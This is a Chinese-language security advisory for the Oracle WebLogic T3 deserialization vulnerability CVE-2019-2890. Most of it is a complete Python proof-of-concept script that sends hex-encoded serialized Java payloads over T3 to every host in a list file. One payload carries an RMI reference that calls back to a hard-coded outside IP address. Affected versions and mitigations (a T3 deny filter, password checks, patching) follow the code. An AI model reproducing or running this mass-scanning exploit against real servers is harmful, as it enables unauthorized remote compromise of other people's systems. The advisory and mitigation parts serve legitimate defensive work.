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CVE-2019-2890-Oracle WebLogic 反序列化严重漏洞

漏洞背景

HSCERT监测发现WebLogic官方发布了CVE-2019-2890漏洞预警。此漏洞存在于Weblogic Console组件中，未经授权的攻击者可以发送精心构造的恶意 HTTP 请求，获取服务器权限。

WebLogic 是 Oracle 公司出品的基于 JavaEE 架构的中间件，用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用。

漏洞描述

Weblogic在利用T3协议进行远程资源加载调用时，默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单，使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。

由于T3协议在Weblogic控制台开启的情况下默认开启，而Weblogic默认安装会自动开启控制台，所以攻击者可通过此漏洞造成远程代码执行，以控制Weblogic服务器。

漏洞PoC如下：

#!/usr/bin/python
# -*- coding: utf-8 -*-
# 2019-10-17 8:45

import socket
import time
import re
import sys

timeout = int(sys.argv[1])
VUL=['CVE-2019-2890']
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']
vul_no = []
vul_yes = []
vul_more_test = []

def t3handshake(sock,server_addr):
    print '正在连接服务器...'
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)


def buildT3RequestObject(sock,port,server_addr):
    print '%s:%d连接成功，正在发送请求...' %(server_addr[0],server_addr[1])
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    lendate = len(sock.recv(2048))
    print '发送有效载荷请求成功,接收长度:%d'%(lendate)
    return lendate

def sendEvilObjData(sock,data,lendate):
    print '正在执行载荷，请稍等...'
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    start = time.time()
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
            end =time.time()
            timeend = end-start
            if lendate == 0 and timeend > timeout:
                break
    except Exception as e:
        pass
    return res

def checkVul(res,server_addr,index):
    print '执行结果：'
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        print '%s:%d 存在 %s 漏洞。'%(server_addr[0],server_addr[1],VUL[index])
        vul_yes.append(server_addr)
    else:
        print '%s:%d 不存在 %s 漏洞。' % (server_addr[0],server_addr[1],VUL[index])
        print '[+] You look like Cai Xukun when you play basketball'
        vul_no.append(server_addr)


def run(index):
    with open("url.txt",'r') as lists:
        for server_addr in lists:
            server_addr=server_addr.strip('\n\r')
            dip=server_addr.split(':')[0]
            global dport
            dport=int(server_addr.split(':')[1])
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(15)
            server_addr = (dip, dport)
            try:
                t3handshake(sock,server_addr)
            except Exception as e:
                print '%s:%d连接失败，请检查IP是否存活...' %(server_addr[0],server_addr[1])
            else:
                try:
                    lendate = buildT3RequestObject(sock,dport,server_addr)
                    rs=sendEvilObjData(sock,PAYLOAD[index],lendate)
                    # print 'rs',rs
                except Exception as e:
                    print '%s:%d请求频繁，请稍后自行单独测试...' %(server_addr[0],server_addr[1])
                    vul_more_test.append(server_addr)
                else:
                    checkVul(rs,server_addr,index)
            finally:
                sock.close()

    print '='*50
    print '检测完成！'
    print '以下IP存在CVE-2019-2890漏洞：'
    for yes in vul_yes:
        print '%s:%s' % (yes[0],yes[1])
    print '='*50
    print '以下IP不存在漏洞：'
    for no in vul_no:
        print '%s:%s' % (no[0],no[1])
    print '='*50
    print '以下IP请求频繁，需单独自行测试：'
    for more in vul_more_test:
        print '%s:%s' % (more[0],more[1])
    print '='*50


if __name__=="__main__":
    run(0)

漏洞危害

严重

影响版本

WebLogic Server 10.3.6.0

WebLogic Server 12.1.3.0

WebLogic Server 12.2.1.3

安全建议

一、禁用 T3 协议

如果您不依赖 T3 协议进行 JVM 通信，可通过暂时阻断 T3 协议缓解此漏洞带来的影响。

  1. 进入 Weblogic 控制台，在 base_domain 配置页面中，进入“安全”选项卡页面，点击“筛选器”，配置筛选器。

  2. 在连接筛选器中输入：weblogic.security.net.ConnectionFilterImpl，在连接筛选器规则框中输入：* * 7001 deny t3 t3s。

  3. 保存生效（无需重启）。

二、排查弱口令

排查 Weblogic 管理后台是否存在弱口令，增强密码强度。

三、升级补丁

相关链接

https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html